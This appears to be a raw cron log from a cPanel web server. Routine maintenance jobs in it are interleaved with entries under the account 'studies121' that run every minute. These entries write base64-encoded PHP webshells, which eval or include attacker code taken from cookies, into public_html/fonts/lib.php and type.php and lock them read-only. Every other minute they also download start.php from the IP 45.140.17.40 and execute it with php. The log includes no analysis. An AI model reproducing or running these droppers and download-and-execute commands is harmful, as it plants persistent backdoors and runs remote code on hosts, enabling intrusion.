Sep  5 02:55:02 ip-184-168-122-23 CROND[28420]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:55:02 ip-184-168-122-23 CROND[28423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:56:01 ip-184-168-122-23 CROND[28544]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:56:01 ip-184-168-122-23 CROND[28545]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:56:01 ip-184-168-122-23 CROND[28547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:56:01 ip-184-168-122-23 CROND[28548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:56:01 ip-184-168-122-23 CROND[28549]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:57:01 ip-184-168-122-23 CROND[28662]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:57:01 ip-184-168-122-23 CROND[28663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:57:01 ip-184-168-122-23 CROND[28664]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:57:01 ip-184-168-122-23 CROND[28665]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:58:02 ip-184-168-122-23 CROND[28765]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:58:02 ip-184-168-122-23 CROND[28766]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 02:58:02 ip-184-168-122-23 CROND[28767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:58:02 ip-184-168-122-23 CROND[28769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 02:58:02 ip-184-168-122-23 CROND[28768]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:59:01 ip-184-168-122-23 CROND[28902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 02:59:01 ip-184-168-122-23 CROND[28901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 02:59:01 ip-184-168-122-23 CROND[28903]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 02:59:01 ip-184-168-122-23 CROND[28904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:00:01 ip-184-168-122-23 CROND[29093]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:00:01 ip-184-168-122-23 CROND[29095]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 03:00:01 ip-184-168-122-23 CROND[29096]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:00:01 ip-184-168-122-23 CROND[29099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:00:01 ip-184-168-122-23 CROND[29097]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:00:01 ip-184-168-122-23 CROND[29098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:00:02 ip-184-168-122-23 CROND[29104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:00:02 ip-184-168-122-23 CROND[29103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:01:01 ip-184-168-122-23 CROND[29217]: (root) CMD (run-parts /etc/cron.hourly)
Sep  5 03:01:01 ip-184-168-122-23 CROND[29218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:01:01 ip-184-168-122-23 CROND[29219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:01:01 ip-184-168-122-23 CROND[29220]: (root) CMD (/usr/local/cpanel/bin/process_ssl_reissue)
Sep  5 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29217]: starting 0anacron
Sep  5 03:01:01 ip-184-168-122-23 CROND[29227]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 03:01:01 ip-184-168-122-23 CROND[29228]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:01:01 ip-184-168-122-23 CROND[29232]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:01:01 ip-184-168-122-23 anacron[29238]: Anacron started on 2026-09-05
Sep  5 03:01:01 ip-184-168-122-23 anacron[29238]: Will run job `cron.daily' in 11 min.
Sep  5 03:01:01 ip-184-168-122-23 anacron[29238]: Jobs will be executed sequentially
Sep  5 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29240]: finished 0anacron
Sep  5 03:02:01 ip-184-168-122-23 CROND[29319]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:02:01 ip-184-168-122-23 CROND[29320]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:02:01 ip-184-168-122-23 CROND[29322]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:02:01 ip-184-168-122-23 CROND[29321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:02:01 ip-184-168-122-23 CROND[29324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:03:01 ip-184-168-122-23 CROND[29409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:03:01 ip-184-168-122-23 CROND[29410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:03:01 ip-184-168-122-23 CROND[29412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:03:01 ip-184-168-122-23 CROND[29411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:04:01 ip-184-168-122-23 CROND[29489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:04:01 ip-184-168-122-23 CROND[29491]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:04:01 ip-184-168-122-23 CROND[29490]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:04:01 ip-184-168-122-23 CROND[29492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:04:01 ip-184-168-122-23 CROND[29493]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:05:01 ip-184-168-122-23 CROND[29584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:05:01 ip-184-168-122-23 CROND[29585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:05:01 ip-184-168-122-23 CROND[29586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:05:01 ip-184-168-122-23 CROND[29587]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:05:01 ip-184-168-122-23 CROND[29589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 03:05:01 ip-184-168-122-23 CROND[29590]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 03:05:01 ip-184-168-122-23 CROND[29591]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 03:06:01 ip-184-168-122-23 CROND[29779]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 03:06:01 ip-184-168-122-23 CROND[29780]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 03:06:01 ip-184-168-122-23 CROND[29781]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 03:06:01 ip-184-168-122-23 CROND[29783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:06:01 ip-184-168-122-23 CROND[29784]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:07:01 ip-184-168-122-23 CROND[29874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 03:07:01 ip-184-168-122-23 CROND[29875]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 03:07:01 ip-184-168-122-23 CROND[29876]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
